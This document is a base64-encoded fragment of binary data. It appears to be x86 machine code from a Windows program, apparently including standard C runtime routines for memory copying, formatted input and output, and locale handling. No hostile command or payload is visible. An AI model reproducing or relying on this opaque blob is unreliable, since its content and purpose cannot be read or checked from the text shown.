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 